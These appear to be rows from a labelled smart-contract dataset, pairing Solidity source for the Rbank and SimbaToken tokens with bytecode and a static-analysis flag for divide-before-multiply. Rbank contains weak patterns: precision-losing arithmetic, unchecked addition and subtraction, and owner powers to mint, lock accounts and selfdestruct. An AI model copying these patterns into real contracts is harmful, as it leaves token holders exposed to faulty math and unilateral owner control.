8254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea26469706673582212208c0e71ce2c7edaf3ec89a03e74feacc859eb70dc5a8a37b9aca23fb97790ed8064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,241
0x8b8dabb2c3ac7251e87c33b4a3133b78ca74a963
pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Owned { address private Owner; function Owned() public{ Owner = msg.sender; } function IsOwner(address addr) view public returns(bool) { return Owner == addr; } function TransferOwner(address newOwner) public onlyOwner { Owner = newOwner; } function Terminate() public onlyOwner { selfdestruct(Owner); } modifier onlyOwner(){ require(msg.sender == Owner); _; } } contract Rbank is Owned { using SafeMath for uint256; string public constant name = "RichBank"; string public constant symbol = "Rbank"; uint256 public constant decimals = 18; // 18 is the most common number of decimal places bool private tradeable; uint256 private currentSupply; mapping(address => uint256) private balances; mapping(address => mapping(address=> uint256)) private allowed; mapping(address => bool) private lockedAccounts; /* Incoming Ether */ event ReceivedEth(address indexed _from, uint256 _value); //this is the fallback function () payable public { emit ReceivedEth(msg.sender, msg.value); } event TransferredEth(address indexed _to, uint256 _value); function FoundationTransfer(address _to, uint256 amtEth, uint256 amtToken) public onlyOwner { require(address(this).balance >= amtEth && balances[this] >= amtToken ); if(amtEth >0) { _to.transfer(amtEth); emit TransferredEth(_to, amtEth); } if(amtToken > 0) { require(balances[_to] + amtToken > balances[_to]); balances[this] -= amtToken; balances[_to] += amtToken; emit Transfer(this, _to, amtToken); } } /* End Incoming Ether */ function Rbank( ) public { uint256 initialTotalSupply = 500000000; balances[this] = initialTotalSupply * (10**decimals); currentSupply = initialTotalSupply * (10**decimals); emit Transfer(address(0), this, currentSupply); } uint256 constant startTime = 1525132800; // Date.UTC(2018, 8, 9) as seconds uint256 constant startAmt = 95000000; uint256 _lastDayPaid = 0; uint256 _currentMonth = 0; uint256 factor = 10000000; event DayMinted(uint256 day,uint256 val, uint256 now); function DailyMint() public { uint256 day = (now-startTime)/(60*60*24); require(startTime <= now); require(day >= _lastDayPaid); uint256 month = _lastDayPaid/30; if(month > _currentMonth){ _currentMonth += 1; factor = (factor * 99)/100; } uint256 todaysPayout = (((factor * startAmt )/10000000)/30)* (10**decimals); balances[this] +=todaysPayout; currentSupply += todaysPayout; emit Transfer(address(0), this, todaysPayout); emit DayMinted(_lastDayPaid, todaysPayout, now); _lastDayPaid+=1; } function lastDayPaid() public view returns(uint256){ return _lastDayPaid; } function MintToken(uint256 amt) public onlyOwner { currentSupply += amt; balances[this] += amt; emit Transfer(address(0), this, amt); } function DestroyToken(uint256 amt) public onlyOwner { require ( balances[this] >= amt); currentSupply -= amt; balances[this] -= amt; emit Transfer(this,address(0), amt); } event SoldToken(address _buyer, uint256 _value, string note); function BuyToken(address _buyer, uint256 _value, string note) public onlyOwner { require(balances[this] >= _value && balances[_buyer] + _value > balances[_buyer]); emit SoldToken( _buyer, _value, note); balances[this] -= _value; balances[_buyer] += _value; emit Transfer(this, _buyer, _value); } function LockAccount(address toLock) public onlyOwner { lockedAccounts[toLock] = true; } function UnlockAccount(address toUnlock) public onlyOwner { delete lockedAccounts[toUnlock]; } function SetTradeable(bool t) public onlyOwner { tradeable = t; } function IsTradeable() public view returns(bool) { return tradeable; } function totalSupply() constant public returns (uint256) { return currentSupply; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public notLocked returns (bool success) { require(tradeable); if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { emit Transfer( msg.sender, _to, _value); balances[msg.sender] -= _value; balances[_to] += _value; return true; } else { return false; } } function transferFrom(address _from, address _to, uint _value)public notLocked returns (bool success) { require(!lockedAccounts[_from] && !lockedAccounts[_to]); require(tradeable); if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { emit Transfer( _from, _to, _value); balances[_from] -= _value; allowed[_from][msg.sender] -= _value; balances[_to] += _value; return true; } else { return false; } } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); modifier notLocked(){ require (!lockedAccounts[msg.sender]); _; } }
0x60606040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305297781811461017c57806306fdde03146101945780630730a3221461021e578063095ea7b31461024357806318160ddd1461027957806323b872dd1461029e5780632e42b012146102c6578063313ce567146102e5578063321de1d4146102f85780635daf8a711461035d578063661884631461037357806370a0823114610395578063858ac4d8146103b45780638aa99826146103d35780638e3bd6fa146103e65780639445eb3a146103fe57806395d89b4114610411578063a9059cbb14610424578063b9c97a4414610446578063d73dd62314610465578063d9da76de14610487578063dd0860a81461049a578063dd62ed3e146104b9578063ef431437146104de575b33600160a060020a03167f52a6cdf67c40ce333b3d846e4e143db87f71dd7935612a4cafcf6ba76047ca1f3460405190815260200160405180910390a2005b341561018757600080fd5b6101926004356104f1565b005b341561019f57600080fd5b6101a7610557565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101e35780820151838201526020016101cb565b50505050905090810190601f1680156102105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022957600080fd5b610192600160a060020a036004351660243560443561058e565b341561024e57600080fd5b610265600160a060020a03600435166024356106e7565b604051901515815260200160405180910390f35b341561028457600080fd5b61028c610754565b60405190815260200160405180910390f35b34156102a957600080fd5b610265600160a060020a036004358116906024351660443561075a565b34156102d157600080fd5b610192600160a060020a0360043516610900565b34156102f057600080fd5b61028c61093f565b341561030357600080fd5b61019260048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061094495505050505050565b341561036857600080fd5b610192600435610ab6565b341561037e57600080fd5b610265600160a060020a0360043516602435610b47565b34156103a057600080fd5b61028c600160a060020a0360043516610c41565b34156103bf57600080fd5b610192600160a060020a0360043516610c5c565b34156103de57600080fd5b610265610ca6565b34156103f157600080fd5b6101926004351515610cc7565b341561040957600080fd5b610192610d22565b341561041c57600080fd5b6101a7610d4b565b341561042f57600080fd5b610265600160a060020a0360043516602435610d82565b341561045157600080fd5b610192600160a060020a0360043516610e8a565b341561047057600080fd5b610265600160a060020a0360043516602435610ec6565b341561049257600080fd5b610192610f6a565b34156104a557600080fd5b610265600160a060020a036004351661108b565b34156104c457600080fd5b61028c600160a060020a036004358116906024351661109f565b34156104e957600080fd5b61028c6110ca565b60005433600160a060020a0390811691161461050c57600080fd5b6001805482019055600160a060020a0330166000818152600260205260408082208054850190556000805160206110f28339815191529084905190815260200160405180910390a350565b60408051908101604052600881527f5269636842616e6b000000000000000000000000000000000000000000000000602082015281565b60005433600160a060020a039081169116146105a957600080fd5b8130600160a060020a031631101580156105dc5750600160a060020a033016600090815260026020526040902054819010155b15156105e757600080fd5b600082111561065f57600160a060020a03831682156108fc0283604051600060405180830381858888f19350505050151561062157600080fd5b82600160a060020a03167f83007cefb28dc4cfb49f429f899c69d37f8011db578f48da2f64929a79bf67b38360405190815260200160405180910390a25b60008111156106e257600160a060020a0383166000908152600260205260409020548181011161068e57600080fd5b600160a060020a033081166000818152600260205260408082208054869003905592861680825290839020805485019055916000805160206110f28339815191529084905190815260200160405180910390a35b505050565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60015490565b600160a060020a03331660009081526004602052604081205460ff161561078057600080fd5b600160a060020a03841660009081526004602052604090205460ff161580156107c25750600160a060020a03831660009081526004602052604090205460ff16155b15156107cd57600080fd5b60005474010000000000000000000000000000000000000000900460ff1615156107f657600080fd5b600160a060020a0384166000908152600260205260409020548290108015906108465750600160a060020a0380851660009081526003602090815260408083203390941683529290522054829010155b801561086b5750600160a060020a038316600090815260026020526040902054828101115b156108f55782600160a060020a031684600160a060020a03166000805160206110f28339815191528460405190815260200160405180910390a350600160a060020a038084166000908152600260208181526040808420805487900390556003825280842033861685528252808420805487900390559386168352522080548201905560016108f9565b5060005b9392505050565b60005433600160a060020a0390811691161461091b57600080fd5b600160a060020a03166000908152600460205260409020805460ff19166001179055565b601281565b60005433600160a060020a0390811691161461095f57600080fd5b600160a060020a0330166000908152600260205260409020548290108015906109a15750600160a060020a038316600090815260026020526040902054828101115b15156109ac57600080fd5b7f0307f82a1d7930932f894f6f841bd41285da9d1374694c831ad1efa591139316838383604051600160a060020a03841681526020810183905260606040820181815290820183818151815260200191508051906020019080838360005b83811015610a22578082015183820152602001610a0a565b50505050905090810190601f168015610a4f5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1600160a060020a033081166000818152600260205260408082208054879003905592861680825290839020805486019055916000805160206110f28339815191529085905190815260200160405180910390a3505050565b60005433600160a060020a03908116911614610ad157600080fd5b600160a060020a03301660009081526002602052604090205481901015610af757600080fd5b600180548290039055600160a060020a033016600081815260026020526040808220805485900390559091906000805160206110f28339815191529084905190815260200160405180910390a350565b600160a060020a03338116600090815260036020908152604080832093861683529290529081205480831115610ba457600160a060020a033381166000908152600360209081526040808320938816835292905290812055610bdb565b610bb4818463ffffffff6110d016565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526002602052604090205490565b60005433600160a060020a03908116911614610c7757600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005474010000000000000000000000000000000000000000900460ff1690565b60005433600160a060020a03908116911614610ce257600080fd5b60008054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b60005433600160a060020a03908116911614610d3d57600080fd5b600054600160a060020a0316ff5b60408051908101604052600581527f5262616e6b000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03331660009081526004602052604081205460ff1615610da857600080fd5b60005474010000000000000000000000000000000000000000900460ff161515610dd157600080fd5b600160a060020a033316600090815260026020526040902054829010801590610e135750600160a060020a038316600090815260026020526040902054828101115b15610e825782600160a060020a031633600160a060020a03166000805160206110f28339815191528460405190815260200160405180910390a350600160a060020a0333811660009081526002602052604080822080548590039055918416815220805482019055600161074e565b50600061074e565b60005433600160a060020a03908116911614610ea557600080fd5b600160a060020a03166000908152600460205260409020805460ff19169055565b600160a060020a033381166000908152600360209081526040808320938616835292905290812054610efe908363ffffffff6110e216565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b6000808062015180635ae7adff19420104925042635ae7ae001115610f8e57600080fd5b600554831015610f9d57600080fd5b600554601e90049150600654821115610fc757600680546001019055600754606490606302046007555b5060075430600160a060020a03166000818152600260205260408082208054601e629896806305a995c09097029690960495909504670de0b6b3a764000002948501905560018054850190556000805160206110f28339815191529084905190815260200160405180910390a37f2bd46683d2f09f7082e2121b94af20e57d4ebfc802b67f4bb92d31adf4c1dbc3600554824260405180848152602001838152602001828152602001935050505060405180910390a1505060058054600101905550565b600054600160a060020a0391821691161490565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60055490565b6000828211156110dc57fe5b50900390565b6000828201838110156108f957fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820b8f917fdf7c472fd724f5555bba1a975daaff70861716192a03f363dc43173fe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,242
0x254417f7b56328a48f554b173dca7bdda7a2a0d2
/** *Submitted for verification at Etherscan.io on 2021-06-02 */ pragma solidity 0.6.12; // Baby Simba is born. His entire family takes care of him affectionately. However, after a while, he will face the realities of the wild nature of Savannah. As he grows up, he will attract the attention of his enemies. He will make new friends and his family will grow with you. His testosterone level will increase, his muscles will grow stronger and he will have a bushy mane. He will fight rival clans and everyone on the road to the kingdom. contract Context { constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint256 totalSupply) public { _name = name; _symbol = symbol; _decimals = 18; _totalSupply = _totalSupply.add(totalSupply); _balances[msg.sender] = _balances[msg.sender].add(totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract SimbaToken is ERC20('SimbaToken', 'SIMBA', 1000000000000000e18), Ownable { function burn(uint amount) public { require(amount > 0); require(balanceOf(msg.sender) >= amount); _burn(msg.sender, amount); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146102ca578063a9059cbb146102f6578063dd62ed3e14610322578063f2fde38b14610350576100f5565b806370a0823114610270578063715018a6146102965780638da5cb5b1461029e57806395d89b41146102c2576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce56714610207578063395093511461022557806342966c6814610251576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b610102610376565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b03813516906020013561040c565b604080519115158252519081900360200190f35b6101bf610429565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561042f565b61020f6104b6565b6040805160ff9092168252519081900360200190f35b6101a36004803603604081101561023b57600080fd5b506001600160a01b0381351690602001356104bf565b61026e6004803603602081101561026757600080fd5b503561050d565b005b6101bf6004803603602081101561028657600080fd5b50356001600160a01b031661053c565b61026e610557565b6102a6610616565b604080516001600160a01b039092168252519081900360200190f35b61010261062a565b6101a3600480360360408110156102e057600080fd5b506001600160a01b03813516906020013561068b565b6101a36004803603604081101561030c57600080fd5b506001600160a01b0381351690602001356106f3565b6101bf6004803603604081101561033857600080fd5b506001600160a01b0381358116916020013516610707565b61026e6004803603602081101561036657600080fd5b50356001600160a01b0316610732565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104025780601f106103d757610100808354040283529160200191610402565b820191906000526020600020905b8154815290600101906020018083116103e557829003601f168201915b5050505050905090565b600061042061041961080b565b848461080f565b50600192915050565b60025490565b600061043c8484846108fb565b6104ac8461044861080b565b6104a785604051806060016040528060288152602001610d90602891396001600160a01b038a1660009081526001602052604081209061048661080b565b6001600160a01b031681526020810191909152604001600020549190610a56565b61080f565b5060019392505050565b60055460ff1690565b60006104206104cc61080b565b846104a785600160006104dd61080b565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906107aa565b6000811161051a57600080fd5b806105243361053c565b101561052f57600080fd5b6105393382610aed565b50565b6001600160a01b031660009081526020819052604090205490565b61055f61080b565b60055461010090046001600160a01b039081169116146105c6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104025780601f106103d757610100808354040283529160200191610402565b600061042061069861080b565b846104a785604051806060016040528060258152602001610e2260259139600160006106c261080b565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610a56565b600061042061070061080b565b84846108fb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61073a61080b565b60055461010090046001600160a01b039081169116146107a1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61053981610be9565b600082820183811015610804576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565